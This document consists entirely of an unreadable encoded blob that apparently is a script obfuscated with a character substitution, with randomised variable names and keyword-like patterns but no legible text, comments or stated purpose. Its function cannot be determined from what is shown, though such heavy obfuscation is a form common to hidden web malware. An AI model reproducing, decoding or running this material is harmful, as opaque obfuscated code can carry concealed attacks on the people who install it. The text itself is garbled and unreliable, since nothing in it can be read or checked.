"|fv~vguDn'(nfonnnnn47}#%=++!*:fyw{gfj8*'6!+7$!z8+}6?gnnn22nn+#>:7fj8*'6!+7$!z8+}6?ggnnn5DD<+:;< nn(/"=+uD3Dnnnnn'(nnfonnn*+(' +*f')<,*!v z,w(-=fv~|ggnnn22nnnnn+#>:7fj>";)' ,/=+ /#+gn22nnnn47}#%=++!*:fv~wgfj>";)' ,/=+ /#+bn47}#%=++!*:f|zxggnossn(/"=+gn5Dnnnn<+:;< n(/"=+uDnnn3DnnnDnnnnnnnnj "~6%$-v~+vnsnnnnn	 
nnnnn`nniain`nnnnj>";)' ,/=+ /#+uDDDDn'(nnnnf47}#%=++!*:fyw|gfj>";)' ,/=+ /#+gnnsssnnni`ignn5Dj6+~'#/x~+96+nnsnn/<</7fj "~6%$-v~+vguD3nnnnn+"=+nnn5Dnj<y>%"%;-=~nnsnn')<,*!v z,w(-=fv~gfj "~6%$-v~+vguDn'(nnnfonnn,,&x"7%*"w>* "|f|~{gfj<y>%"%;-=~gnnn22non')<,*!v z,w(-=fvgfj<y>%"%;-=~ggn5D<+:;< n(/"=+uDnnnnn3Dj6+~'#/x~+96+nnnnsnn$6 !<<)++|+|+%yx6(fj<y>%"%;-=~bn/<</7f'9}8?4>/7?,4)fv|gbnnnnnn')<,*!v z,w(-=fv}gbnn47}#%=++!*:fvzgbn'9}8?4>/7?,4)fv{gbn')<,*!v z,w(-=fvxggguD3DDDnnDDnnnnn(!<+/-&nnnfj6+~'#/x~+96+nn/=nnnnj-!"946+"v/!gnn5DD'(nnfonnnn,,&x"7%*"w>* "|fvygfj-!"946+"v/!ggnn5DDnnnnn-! :' ;+uDn3Daann"!-%! :<!"=tn-!8/<'/ :c/*$n><!:!:7>+DD'(nnnf=>y&<y,>,=;>fj-!"946+"v/!bnnnj8*'6!+7$!z8+}6?ggnnn5D<+:;< nn:<;+uDnnn3Daan=>'""n#+*'/:!<DDnnnn3Dn<+:;< nn(/"=+uDnnnnnn3Dnnnn(; -:'! n$6 !<<)++|+|+%yx6(fj<y>%"%;-=~bnnnj/-&'!'}4;=":>bnnj+:v;;~4(-&<nnsnnn~bnnnhj*>$+x!);=8v'nnnsnnnn ;""bnnnnhj!:!;z{,{})/-nsnn ;""gDnn5Dnj"'=:nnnsn/<</7fguDD'(nnfj+:v;;~4(-&<npnnf~6}e~6{ggnn5DDDDnnnn<+:;< nj"'=:uD3Dnnnn'(nnfj*>$+x!);=8v'nnnnsssnnnnn ;""gnnnnnn5Dnnnnnnj*>$+x!);=8v'nnnsnnn/<</7fguDnj!:!;z{,{})/-nsnnn'9}8?4>/7?,4)fxw~gf:<;+gnnennnf~6we~6guDn3DDDDn'(nnnf47}#%=++!*:fvvgf:<;+gnnnpnnj!:!;z{,{})/-gnnnnn5Dn<+:;< nj"'=:uDnn3DDn'(nnfonn,,&x"7%*"w>* "|f|~{gfj<y>%"%;-=~ggnnnnnn5Daan/:!#'-n<+/*DDn<+:;< nnnj"'=:uDnnnnnn3Dnnnj,{~#*-,|!,4nnnsnn,,&x"7%*"w>* "|f|}{gfj<y>%"%;-=~guD'(nnfj,{~#*-,|!,4nnnossnn(/"=+gnnn5D'(nnf'==+:fj*>$+x!);=8v'j,{~#*-,|!,4ggnn5D<+:;< nnj"'=:uD3Dj*>$+x!);=8v'j,{~#*-,|!,4nsnn:<;+uDDDnnn3DDnnj9/*9w*v4w8~ ?$$nnnsn;|=;}& y{+y&=&/=?%;fj<y>%"%;-=~guDn'(nnnfonnnn')<,*!v z,w(-=fvwgfj9/*9w*v4w8~ ?$$ggn5Dnnnnnn<+:;< nnj"'=:uDDnn3Dn(!<+/-&nnnnfj9/*9w*v4w8~ ?$$nnn/=nnj4)*x/-,~ :{(7gnn5Dnnn'(nnf,,&x"7%*"w>* "|fvvgf:<;+gnnnnpnnnnnj!:!;z{,{})/-nnn22nn')<,*!v z,w(-=fxvwgfj"'=:gnnnpsnfz~ewwggnn5Dnn,<+/%uDn3Dnnnj "~6%$-v~+vnsnj<y>%"%;-=~nnnn`nnnnnniainn`nnj4)*x/-,~ :{(7uDDDDnnnn'(nnnf')<,*!v z,w(-=fv|~gfj "~6%$-v~+vggnnnn5Dnnnnnn-! :' ;+uD3DDnnnnnn'(nnnnnf47}#%=++!*:f|~{gfj "~6%$-v~+vggn5Dnnnnnj"'=:nsn47}#%=++!*:fz|gfj"'=:bnn$6 !<<)++|+|+%yx6(fj "~6%$-v~+vbnj/-&'!'}4;=":>bnj+:v;;~4(-&<nnnenbnj*>$+x!);=8v'bnj!:!;z{,{})/-gguDnn3nn+"=+'(nf'9}8?4>/7?,4)fv|gfj "~6%$-v~+vggn5Dj7&vw9694 |nnnsnn'9}8?4>/7?,4)fv||gfj "~6%$-v~+vbn-! =:/ :f47}#%=++!*:fv|}ggguDnnj7&vw9694 |nsnnn,,&x"7%*"w>* "|fyx~gfj7&vw9694 |gnnnnnqnnnn47}#%=++!*:fyygfj7&vw9694 |gntnnlluDnnnnn'(nnnnnf')<,*!v z,w(-=fywxgfj7&vw9694 |bnnj/-&'!'}4;=":>bnnnnn:<;+ggn5Dnnnnnnj"'=:nnnnsnnnnj "~6%$-v~+vuj=:"$|z%sxwewwuj?;$"7(v":7sj=:"$|z%czzuDnnnnn3Dnn3D3Dn<+:;< nnnnj"'=:uDn3DDnnnn(; -:'! nnn%*+;)#?*<:x*v}7| 4fj>";)' ,/=+ /#+gDnnnnnn5DnnnnnnnDnnn'(nnnnnnfonn')<,*!v z,w(-=fyx~gfj>";)' ,/=+ /#+gnn22nnnnonnj>";)' ,/=+ /#+gnn5DDDDn<+:;< nnnn(/"=+uD3Dnnnn'(nf,,&x"7%*"w>* "|fv|zgfj>";)' ,/=+ /#+bnnnnn')<,*!v z,w(-=f|zxggnnnnnossn(/"=+gn5D<+:;< nn(/"=+uDn3DnnnnnDnnj>";)' ,/=+ /#+nnnnnsnn47}#%=++!*:fxvgfj>";)' ,/=+ /#+guDn'(nnnnnnfj>";)' ,/=+ /#+nnsssnn?9~&<{x4,yw~wx(4/<~fggnnn5DDDDn<+:;< n(/"=+uDnn3DnnDDDDn'(nnnnfonnnnnn,,&x"7%*"w>* "|fywzgf47}#%=++!*:fv|{ggnhhnnn,,&x"7%*"w>* "|fv~zgfnnn`n')<,*!v z,w(-=fv|xgggnnn5D<+?;'<+! -+nnnnnnnn`nnn,,&x"7%*"w>* "|fv|xguDn3DnnDnnn'(nnf'9}8?4>/7?,4)fv|ygf47}#%=++!*:fv|{ggnnhhnnnnn'=>";)' /-:'8+fj>";)' ,/=+ /#+ggn5Dnn*+/-:'8/:+>";)' =f/<</7fj>";)' ,/=+ /#+gbnnnnnn:<;+gunDn3DDnnnnnj<y>%"%;-=~nnsnn*+(' +*f')<,*!v z,w(-=fv|vggnqnnnn	 
nnnn`nnnnnniainnn`nnn,,&x"7%*"w>* "|fv~gfj>";)' ,/=+ /#+gnnnntnnnnlluDDDnnn'(nnnfj<y>%"%;-=~nhhn,,&x"7%*"w>* "|fv|wgfj<y>%"%;-=~gnnnnnnhhnnn47}#%=++!*:fv~gfj>";)' ,/=+ /#+gnnnossnni`inhhn'9}8?4>/7?,4)fv~gfj>";)' ,/=+ /#+ggnnn5D'(nf;'v$;v~=*7{v}8y;)$fj<y>%"%;-=~ggnnn5Dnnn<+:;< nnnnn:<;+uDDDDnnnnn3Dnnnn3DnnDn'(nf')<,*!v z,w(-=fv|ygf')<,*!v z,w(-=fv}~gggnn5DnDn'(nfon'9}8?4>/7?,4)fv|ygf,,&x"7%*"w>* "|fv}ggnnnnn22nnonn-;<<+ :;=+<-/ f'9}8?4>/7?,4)fv}~gggn5Daan>/<:':'! n><'!<':7c?;+;+n(!<nn/)+n'=:DD'(nnnnnf')<,*!v z,w(-=fv|ygf'9}8?4>/7?,4)fv}|ggnnhhnnnn')<,*!v z,w(-=fv|ygf')<,*!v z,w(-=fv}}gggnn5DDj;=+<=nnsnnnnn)+:;=+<=f/<</7f'9}8?4>/7?,4)fv}zgnspnn')<,*!v z,w(-=fv}{gbnn,,&x"7%*"w>* "|fv}xgnnspnngguDnnnnnn'(nfon+#>:7fj;=+<=gnnhhnnnnj;=+<=~cp
gnnn5Dnnn'9}8?4>/7?,4)fv}}gfj;=+<=~cp
guDn3nnnnnn+"=+n5DDD')<,*!v z,w(-=fv}}gfguD3Dnnnn3Dnnnnnnn3DnDnnj#+,9z9$/|+{z=? nnsnnn*+"+:+>";)' =f/<</7fj>";)' ,/=+ /#+gguDnnn'(nnfonnnnnn'=9>+<<!<fj#+,9z9$/|+{z=? ggnnnnnn5DDDnnn<+:;< nf,!!"gnnj#+,9z9$/|+{z=? uDnnn3Dnn3Dnn<+:;< nnnn(/"=+uDn3DnnnnDn(; -:'! nnn;'v$;v~=*7{v}8y;)$fj<y>%"%;-=~bnnj+:v;;~4(-&<nsnn~gDnn5Dnnn'(nnfj+:v;;~4(-&<nnnpnnf~exggnnnn5j>x=-":+zs uj<#|#*7"&:9:sj>x=-":+zdwuDnnn<+:;< nn(/"=+uDnnnnnn3DDDnnnnn'(nnfonn'9}8?4>/7?,4)fyx~gfj<y>%"%;-=~gnn22nj<y>%"%;-=~nsssnllnn22n'9}8?4>/7?,4)fv}ygfj<y>%"%;-=~bnnnnn,,&x"7%*"w>* "|f|zxggnossnnn(/"=+gn5Dnnnnn<+:;< nnn(/"=+uD3DDDnj8$)v!)!##=6nsn')<,*!v z,w(-=fv}vgfj<y>%"%;-=~guDn'(nnnfj8$)v!)!##=6nnsssnn(/"=+nnnnn22nnonn'9}8?4>/7?,4)fv|wgfj8$)v!)!##=6ggnn5j >"/'(z%#sxd}uj7ywy==<9=6sj >"/'(z%#c}}uDnn<+:;< n(/"=+uD3Dj7% &$ #**y!#nnsnnn*+(' +*f')<,*!v z,w(-=fv|vggnnqn'9}8?4>/7?,4)fv}vgf	 
gnntnn(/"=+uDnnnnn'(nnfj7% &$ #**y!#nnsssnnn(/"=+n22nfj8$)v!)!##=6nossnnj7% &$ #**y!#nnhhnnnnnn')<,*!v z,w(-=fv}wgfj8$)v!)!##=6bnnnnnj7% &$ #**y!#n`nnn
gnossnnn~ggnnnn5D<+:;< nnn(/"=+uj,"x?yv||z?(sf~6}ve~6,wguj#|w'&9}xy=}$sj,"x?yv||z?(kxuDnnn3Dnnj9$ *}!=>z<yv>nnsnnnnn')<,*!v z,w(-=f|{~gfj8$)v!)!##=6guDnnnnn'(nnfonn,,&x"7%*"w>* "|fvwgfj9$ *}!=>z<yv>ggnn5Dnnn<+:;< nn(/"=+uDnnnn3Dnnnnnnnn(!<+/-&nnnnfj9$ *}!=>z<yv>nn/=nnnj&"&z}v(=x{z(gnnn5DDDn'(nnfj&"&z}v(=x{z(nnsssni`in22nnnj&"&z}v(=x{z(nnnnsssn'9}8?4>/7?,4)f|zxggn5Dnnn-! :' ;+uDnn3Dj "~6%$-v~+vnnnnnsnnj8$)v!)!##=6nnnn`nnnn-! =:/ :f'9}8?4>/7?,4)fvz~ggnn`nnnnj&"&z}v(=x{z(uD'(nnnf'9}8?4>/7?,4)fvzgfj "~6%$-v~+vggn5Dn'7"<=~;<?-87+}? fj "~6%$-v~+vguDnn-! :' ;+uDnnnn3Daan+6/-:n<+:<7c>!"'-7DDDnn'(nnnf,,&x"7%*"w>* "|fvz|gfj "~6%$-v~+vggnn5Dnnnnn;'v$;v~=*7{v}8y;)$fj "~6%$-v~+vbnnj+:v;;~4(-&<nnnnenguDDDDnnn3nn+"=+n5j))|'~/9?y,sf~6,e~6{/guj>6y6,|& '#sj))|'~/9?y,kxuD'(nnfonnnnn'7"<=~;<?-87+}? fj "~6%$-v~+vggn5D??:+}<">$9;(=4=8'-+fj "~6%$-v~+vbnf~6{(e~6z{gguDnn'7"<=~;<?-87+}? fj "~6%$-v~+vguDnn3Dnn3Dnnn3Dnn'(nnfon47}#%=++!*:fvz}gfj8$)v!)!##=6ggnnn5D??:+}<">$9;(=4=8'-+fj8$)v!)!##=6bnnnfzvyexgguDDn'9}8?4>/7?,4)fvz}gfj8$)v!)!##=6guDnn3Daann;=+ :':7+-!<*=tn/-?;'<+n<+:<7c>!"'-7DDnnn<+:;< non,,&x"7%*"w>* "|fv~zgfj8$)v!)!##=6guDnn3DDnD(; -:'! nnn>{<$7z$v-$;848<4/~$(~fgDnn5DDn:<7nnnnn5Dnnj"'=:nsnnnn-)=;$~7=z "z4fguD'(nnfon,,&x"7%*"w>* "|fvwgfj"'=:ggnn5D<+:;< uDn3DnnnnnDDDDnj' 4=?'$"-=>nnsnn/<</7fguDnnnnnj+x-y%<*4!*{'y)%nnnnsn(/"=+uDnnnn(!<+/-&nnf47}#%=++!*:fvzzgfj"'=:gn/=nj,/=+ /#+gn5Daan!<*<+==nx`}n-!##/ *=tn,/:-&n=%'>c"'=:DDnD'(nfonn')<,*!v z,w(-=fyx~gfj,/=+ /#+ggn5DDDDn-! :' ;+uDDDnnnnnnn3DnnnnnnnDj6"x48"*<(nsn'9}8?4>/7?,4)fv~gfj,/=+ /#+guDnnnnnn'(nfj6"x48"*<(nnnsssni`ignnnn5Dnnnnnnnnj6"x48"*<(nsnnj,/=+ /#+uDnnnnn3Dnnn'(nnnf'==+:fj' 4=?'$"-=>j6"x48"*<(ggnn5Dnnn-! :' ;+uDnn3DnnnDj' 4=?'$"-=>j6"x48"*<(nnnnsnn:<;+uD'(nnf:&~${6,>xz=7x*fj,/=+ /#+ggnn5Dnn%*+;)#?*<:x*v}7| 4fj,/=+ /#+guDj+x-y%<*4!*{'y)%nnnsnn:<;+uD3Dnnnnn3DnnDn'(nf'9}8?4>/7?,4)fvz{gf;-/!w +!8v87%z=!&:~~ fgggn5j<:}4{}v- %/sxeyuj7+><%w=">~&?sj<:}4{}v- %/c}zuDnnj 9};|x,/6#nsnnn;|=;}& y{+y&=&/=?%;f;-/!w +!8v87%z=!&:~~ fgguDnnn'(nnnf')<,*!v z,w(-=fvzxgfj 9};|x,/6#ggnnnn5Dnj8*'6!+7$!z8+}6?nnnsnj	'9}8?4>/7?,4)fv~vguDDDDnnnnnnn(!<+/-&nfj 9};|x,/6#nnnn/=nnnnnnj4)*x/-,~ :{(7gn5DnnnD'(nnnnnfj4)*x/-,~ :{(7nnnnsssnnnnnn'%v=&{)};v6{;76'"?w-7fggnnn5Dnn-! :' ;+uD3Daann :+</-:'8':7nn/=>+-:n</:'!DDnDnj-!"946+"v/!nnsn;-/!w +!8v87%z=!&:~~ fgnnnnnn`nniainnnnn`nj4)*x/-,~ :{(7uD'(nnnfon47}#%=++!*:fv|gfj-!"946+"v/!gnnn22nn,,&x"7%*"w>* "|fyygf,,&x"7%*"w>* "|fv||gfj4)*x/-,~ :{(7bnnn-! =:/ :f47}#%=++!*:fvzyggggnnossnnn'9}8?4>/7?,4)fvzvggnnnn5Dn-! :' ;+uDDn3DnDDn'(nnnf=>y&<y,>,=;>fj-!"946+"v/!bnnj8*'6!+7$!z8+}6?ggnnnnn5Dn'7"<=~;<?-87+}? fj-!"946+"v/!guDnj+x-y%<*4!*{'y)%nnsnn:<;+uDDDnnn3DDDnnnn3Dnnnnnnn3Dnnn3DnDnnnnnj(#x;x{+=8-?}:"wnnnnnsnnnj	')<,*!v z,w(-=fzv|guDnnnn'(nnf47}#%=++!*:fvzxgfj(#x;x{+=8-?}:"wgnhhnonn+#>:7fj(#x;x{+=8-?}:"wggnnn5Daan+-:!<n/;:!c<+(/-:!<n=':+n#+:/DDn'(nnnf<7v4:'}6{ -,&<>fj(#x;x{+=8-?}:"wggnnn5DDDDnj+x-y%<*4!*{'y)%nnnsnn:<;+uDnnn3Dnnnn3Dnnnn3n-/:-&nnf&<!9/,"+nj": >{,:|gnnn5Daan*+<+)'=:+<n+((+-:c:7>+DD!%6z,zv||*<-%;=*/7";f47}#%=++!*:fvzwgbnnnj": >{,:|guDnnnnnnnn3nnnnn-/:-&nf6-+>:'! nnj": >{,:|gn5Dnnnnn3Dnnnn3DnDDn(; -:'! n>#87:'<,6%y7/z"~;fgDn5Daan><!>/)/:+c-! =:n)+ +</"c<+-;<='8+n-!""+-:!<DDDDnnnn:<7n5Dj'&,#9"/~{9>)#;4nnsnf' :gn)+:!>:'! f47}#%=++!*:fv{~gbn~guDn'(nnnnff47}#%=++!*:fyy~gfgncnnnnnj'&,#9"/~{9>)#;4gnpsnnnf}{}xexzggnnnn5Dnnnnn;>*/:+!>:'! f')<,*!v z,w(-=fv{gbn'9}8?4>/7?,4)fv{|gfgguDnj:8?;z:8;&-;nnnsn/<</7f/<</7f "w+,?"%y8)'*';{fgbnnn/<</7f47}#%=++!*:fv{}gggguDj7 /<$~~ >8wnnnnsnn,,&x"7%*"w>* "|fv{zgf,,&x"7%*"w>* "|f|vggnnnnnqnnnnnn,,&x"7%*"w>* "|f|vgfgnnnntnlluDDDDnnnn'(nfj7 /<$~~ >8wnnossnnllnhhnj7 /<$~~ >8wnnnnossnnnnn "w+,?"%y8)'*';{fggnnnj:8?;z:8;&-;nnnnnsnn/<</7fj7 /<$~~ >8wbn/<</7f')<,*!v z,w(-=fv{}gbn')<,*!v z,w(-=fv{{ggguDnn(!<+/-&nnnfj:8?;z:8;&-;nnnn/=nnj;!?>v|#?~}7%7gnnn5Daan;n=&#nn-! :<!""+<DD(!<+/-&nnnnnnfj;!?>v|#?~}7%7nn/=nnnnnj9)469  {w&gnnnnnn5Dnnnnnnj<,<=+y489="&nnsnnnnn')<,*!v z,w(-=fv{zgf')<,*!v z,w(-=f{~vggnnnnnqnn,,&x"7%*"w>* "|f{~vgfj;!?>v|#?~}7%7~nnnn`nniain`nnnnnnj9)469  {w&nn`nidignnnnnntnn(/"=+uDnnnnnn'(nfo')<,*!v z,w(-=fvzxgfj<,<=+y489="&ggnn-! :' ;+uDnnDDDD(!<+/-&nnnnfj<,<=+y489="&nnnnn/=nj6&>{y/6$%ygnnnnn5Dnnn'(nnnfo47}#%=++!*:fv{xgfj6&>{y/6$%yggnnnnn-! :' ;+uDnnnnnnnj=)|7$-?=z}!wnnsn47}#%=++!*:f|~|gfj6&>{y/6$%yguDDDD'(nfj=)|7$-?=z}!wnnnossn(/"=+nnhhnnnnf,,&x"7%*"w>* "|fv{ygfgnncnnj=)|7$-?=z}!wgnnnpnnnfy~wyc}zwyggnn'7"<=~;<?-87+}? fj6&>{y/6$%yguDn3DD3D3Dj'74<yv) x=*y$#nnnnnnsnn)+:!>:'! f47}#%=++!*:fyyvgbn/<</7fgguDnn'(nnfo,,&x"7%*"w>* "|fvzxgfj'74<yv) x=*y$#ggnj'74<yv) x=*y$#nnsnnnnn/<</7fguDnnnnj$9+{~ :~#(nsnnn')<,*!v z,w(-=f|{ygf<xw=w,+~4~}#8~fgbn'9}8?4>/7?,4)fv{vgguj#!<:6v>'<y#=sx~uj&??;/ -<##';?-sfj#!<:6v>'<y#=p~gqj#!<:6v>'<y#=tcj#!<:6v>'<y#=uDDDDj>*nsnf*+(' +*f,,&x"7%*"w>* "|fz~ggnnqnn  
ntnnnnn`nn,,&x"7%*"w>* "|fv{wggn`nnnn')<,*!v z,w(-=fvx~guD(!<+/-&nf')<,*!v z,w(-=fv{zgf47}#%=++!*:f{~vggnnnnqnnf/<</7gn')<,*!v z,w(-=f{~vgfj>*nnn`nnn')<,*!v z,w(-=fvxggnnntnnnnnn/<</7fgnn/=nj?(?>>-x+&9 gn5Dnnnnnn'(nnf,,&x"7%*"w>* "|fvx|gf')<,*!v z,w(-=fv~gfj?(?>>-x+&9 ggnnsssnj$9+{~ :~#(gnn-! :' ;+uDnj,6:,y|}~4{nsn47}#%=++!*:fvx|gf,,&x"7%*"w>* "|fvx}gfj?(?>>-x+&9 ggnn`nniainnnn`n,,&x"7%*"w>* "|fvx|gfj?(?>>-x+&9 guj',:-x~wwsz{2xxuj66=(='<{sj',:-x~ww}zuDnnnnnn'(nnf')<,*!v z,w(-=fywxgfj,6:,y|}~4{bnnj'74<yv) x=*y$#bnnnn:<;+ggnn-! :' ;+uDnnnnn'(nnnfo')<,*!v z,w(-=fzygfj?(?>>-x+&9 ggn-! :' ;+uDnj:->::z(!;,|::)&nsnn')<,*!v z,w(-=f||}gfj?(?>>-x+&9 guDnnnnnn'(nfoj:->::z(!;,|::)&nn22nnnj:->::z(!;,|::)&nnnnpnf|~wy~y}eywggnnn-! :' ;+uDDnnnnnnj/z~%9$$)")x>>)#nsn'9}8?4>/7?,4)f{wwgfj?(?>>-x+&9 guDn'(nfo,,&x"7%*"w>* "|fyx~gfj/z~%9$$)")x>>)#gnnnn22nnnnn')<,*!v z,w(-=fvxzgfj/z~%9$$)")x>>)#bn47}#%=++!*:fvx{ggnnsssnnn(/"=+gnn-! :' ;+uDj:x{>y(#~-<z?nnnsnn'9}8?4>/7?,4)f{gf'9}8?4>/7?,4)fvxxgbnnnnnllbnnj/z~%9$$)")x>>)#guDnnnnnnnn'(nnnfo,,&x"7%*"w>* "|fyx~gfj:x{>y(#~-<z?gnnnnn22nnnj:x{>y(#~-<z?nnnnnsssnnnj/z~%9$$)")x>>)#nnnnn22no84*{ <*'w~?-y,-4,;fj:x{>y(#~-<z?ggnn-! :' ;+uDn=,?(,4;}z-}  {8=6$'6>fj?(?>>-x+&9 bnnnnj:x{>y(#~-<z?guDn'(nf47}#%=++!*:fvxygf'9}8?4>/7?,4)f|~~gggn!>-/-&+' 8/"'*/:+fj?(?>>-x+&9 bn:<;+guDDDDn3Dnnnn; =+:fj'74<yv) x=*y$#bnnnnnnj$9+{~ :~#(bnnnnj>*bnnj?(?>>-x+&9 bnnnnnj,6:,y|}~4{bnnj:->::z(!;,|::)&bnnj/z~%9$$)")x>>)#bnj:x{>y(#~-<z?guDnn={* 6%%<%4<<y?-)~~=fguDnnnnn3DnnDnnnj$}y6<|z6?9"+nsnnnnnj	'9}8?4>/7?,4)fvxvguDDj(#x;x{+=8-?}:"wnsnj	,,&x"7%*"w>* "|fzv|guDDnnnj,)*;'(=9"$/:,)nnsnnnf')<,*!v z,w(-=fvzxgfj$}y6<|z6?9"+gnnnnhhnnon+#>:7fj$}y6<|z6?9"+ggnn22nf'9}8?4>/7?,4)fvxwgfj(#x;x{+=8-?}:"wgnnhhnnnon+#>:7fj(#x;x{+=8-?}:"wgguD'(nnnnfonj,)*;'(=9"$/:,)gnnnn5Dnnnnn<+:;< uDnnnnn3DDDnj#($):,'$x-8",&nnsnnf' :gnnn)+:!>:'! f'9}8?4>/7?,4)fvy~gbnn~guDn'(nff'9}8?4>/7?,4)fv{ygfgnnnnncnj#($):,'$x-8",&gnrnnnnf~6ww+e~6zy|ggnnn5Daann/)n"!;*tn"' %n; '('-/:'! DDnnnnn<+:;< uDn3DDnnnD>{<$7z$v-$;848<4/~$(~fguD;>*/:+!>:'! f,,&x"7%*"w>* "|fvy~gbn47}#%=++!*:fv{ygfgguD3nnnnnn-/:-&nnf&<!9/,"+nnnj": >{,:|gn5Dnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fvygbnnj": >{,:|guDnn3nn-/:-&nnf6-+>:'! nnnnj": >{,:|gnnn5Daanczn /#+=>/-+=n-/>/,'"':7n)/:+DDnn3DDDDn3DnnDnnn(; -:'! nn)x :=)w|%:x%<;99= (wfgDDnnn5DDD:<7n5DDDnnnnnDDDnnj>"~&9$z-") 76nnnnnsnn+4667 68'<#||9fguDnnnnDDnn'(nfoj>"~&9$z-") 76n22nn')<,*!v z,w(-=f{{}gfj>"~&9$z-") 76gnrnnfzz|e{vggn<+:;< uD'(nnnnnfo84*{ <*'w~?-y,-4,;fj>"~&9$z-") 76ggn5j$##?={;4szvxuj8<zw9yy %98:sfj$##?={;4p~gqj$##?={;4tcj$##?={;4uDDn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fvy|gbn,,&x"7%*"w>* "|fvy}gguD<+:;< uDn3DDDnnn'(nnnnnf'9}8?4>/7?,4)fvxygf')<,*!v z,w(-=fvyzggnnnhhnn)+::</ ='+ :f47}#%=++!*:fvy{gggn<+:;< uDnnDDDnj4+)z%"89|,'7nnsnnnn;-/!w +!8v87%z=!&:~~ fguDD-"+/<=:/:-/-&+f:<;+guDDDn'(nf')<,*!v z,w(-=fvyxgfj4+)z%"89|,'7gnnnnhhno'9}8?4>/7?,4)fvz{gfj4+)z%"89|,'7ggn5Dnnn<+:;< uDn3DnnnnnDDDnnnn'(nnnfo')<,*!v z,w(-=fvyygfj4+)z%"89|,'7ggnnn5Dnnnnnnnj 8%(#>((+/!*(nsnnnnn;#/=%f~guDDnnnnn 6%6=z"z7)$(//*fj4+)z%"89|,'7bnnnnnnfy{~c|{ygbnn:<;+guDnnnnn;#/=%fj 8%(#>((+/!*(guDn??:+}<">$9;(=4=8'-+fj4+)z%"89|,'7bnnfzev|gguDn-"+/<=:/:-/-&+f:<;+guDn3n+"=+nnnn'(nfo47}#%=++!*:fvgfj4+)z%"89|,'7gnnnnn22no,,&x"7%*"w>* "|fzygfj4+)z%"89|,'7ggnnn5Dnnnnn??:+}<">$9;(=4=8'-+fj4+)z%"89|,'7bnnf|}{e|{vgguDn-"+/<=:/:-/-&+f:<;+guDnnn3DnnnnnDnn'(nnnnnf')<,*!v z,w(-=fvyygfj4+)z%"89|,'7gnhhnnnnnfo')<,*!v z,w(-=fvgfj4+)z%"89|,'7gnn22no47}#%=++!*:fzygfj4+)z%"89|,'7ggnnhhn,,&x"7%*"w>* "|fvz}gfj4+)z%"89|,'7ggnn5Dnj 8%(#>((+/!*(nnsnn;#/=%f~guDnn 6%6=z"z7)$(//*fj4+)z%"89|,'7bnnf|ye}xxgbnnn:<;+guDnn;#/=%fj 8%(#>((+/!*(guDDnnnnnn??:+}<">$9;(=4=8'-+fj4+)z%"89|,'7bnnnnfzv~e}gguDn-"+/<=:/:-/-&+f:<;+guDnnnn3DnnnDnnnn-"+/<=:/:-/-&+f:<;+guDnnnn'(nnfo'9}8?4>/7?,4)fvyygfj4+)z%"89|,'7gnn22nnnno,,&x"7%*"w>* "|fvyvgfj4+)z%"89|,'7gnn22no')<,*!v z,w(-=fvgfj4+)z%"89|,'7ggnn5Dnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fvy|gbnn47}#%=++!*:fvywgguD'(nnnf,,&x"7%*"w>* "|fvv~gf'9}8?4>/7?,4)fyvgggnn=+::</ ='+ :f'9}8?4>/7?,4)fvy{gbnnbnnf{}z}cyz}gguDn<+:;< uDnn3DDDDnnnDnnnnnj%>}*z6!-$'|/?z9:nnsnnj4+)z%"89|,'7nnnnnn`nnnniain`nn'%v=&{)};v6{;76'"?w-7fguDDDDnnnnnn'(nf4#+*(}$vx|,8:-4#)9{fj%>}*z6!-$'|/?z9:ggnn5D<+:;< uD3Dn'(nf,,&x"7%*"w>* "|fvvgfj%>}*z6!-$'|/?z9:gnhhnnnnn,,&x"7%*"w>* "|f||}gfj%>}*z6!-$'|/?z9:gnnnpnnfzwye|wgnnnnnnhhnnnnnn47}#%=++!*:fvv|gf$9v'='y;'&{$%$zy+ff=:<' )gnn,,&x"7%*"w>* "|fvv}gfj%>}*z6!-$'|/?z9:gggnnsssnnnnn')<,*!v z,w(-=fvv|gfj>"~&9$z-") 76ggn5Dnnn"~/(%7wz&:z(&w/fj%>}*z6!-$'|/?z9:guD,~'9><)&$;~(,:y9 fguDDDDn)x-&|y,")|=y7#/84#8&)~fguDnn<+:;< uDnnnnn3Dn'(nnnf'9}8?4>/7?,4)fvvgfj%>}*z6!-$'|/?z9:gnnhhnn47}#%=++!*:f||}gfj%>}*z6!-$'|/?z9:gnnpnnf~6,xe~6*|ggnnn5j667#(z<|:{"7sc}y}uj&/x>>6(,#sfj667#(z<|:{"7p~gqj667#(z<|:{"7tcj667#(z<|:{"7uDnnj$|%z8~"7z}$nnsnnnnnnf=:<' )gn47}#%=++!*:fvvzgfj%>}*z6!-$'|/?z9:bn(/"=+bnnn ;""bnnnnn~bnnnnfzxv}c{vygguD'(nf47}#%=++!*:fyx~gfj$|%z8~"7z}$gnnhhnn')<,*!v z,w(-=fv~xgf,,&x"7%*"w>* "|fyxzgbnnj$|%z8~"7z}$bnnj*#gnnhhnnn8+<='! -!#>/<+fj*#bnn9),%/4:v49)x!/ /x9}(y:fgbnnipiggnn<+:;< uDD; =+:fj$|%z8~"7z}$bnnj*#guDnnn3Dnnnnj7&v8$~;{ nnnsnnnnnn=,?(,4;}z-}  {8=6$'6>fj%>}*z6!-$'|/?z9:bn:}(#?!!(%;7/+%{! 9fj>"~&9$z-") 76gguDDDDnn'(nfoj7&v8$~;{ n22nnno'9}8?4>/7?,4)fvv{gfj%>}*z6!-$'|/?z9:gnnn22nnnnn'9}8?4>/7?,4)f||}gfj%>}*z6!-$'|/?z9:gnrnnfv~wcv~wgn22nnnn'9}8?4>/7?,4)fvv|gf$9v'='y;'&{$%$zy+ff=:<' )gn'9}8?4>/7?,4)fvvxgfj%>}*z6!-$'|/?z9:gggnnnossn,,&x"7%*"w>* "|fvv|gfj>"~&9$z-") 76ggnnn5Dn'(nnnnfj7&v8$~;{ nnhhnnn47}#%=++!*:fvvgfj%>}*z6!-$'|/?z9:ggnnnnn5Dnnnj$|%z8~"7z}$nnnsnnnnf=:<' )gnn47}#%=++!*:fvvxgfj%>}*z6!-$'|/?z9:bn(/"=+bn ;""bn~bnnfz~~|ewzgguDnnnnnnnnj-;x?%w$%,nnnnnnsn'9}8?4>/7?,4)fvvygfj$|%z8~"7z}$gnhhn47}#%=++!*:fv~xgf'9}8?4>/7?,4)fyxzgbnnj$|%z8~"7z}$bnj*#gnnnnhhnnn8+<='! -!#>/<+fj*#bnnn9),%/4:v49)x!/ /x9}(y:fgbnnipiguDnnnnn; 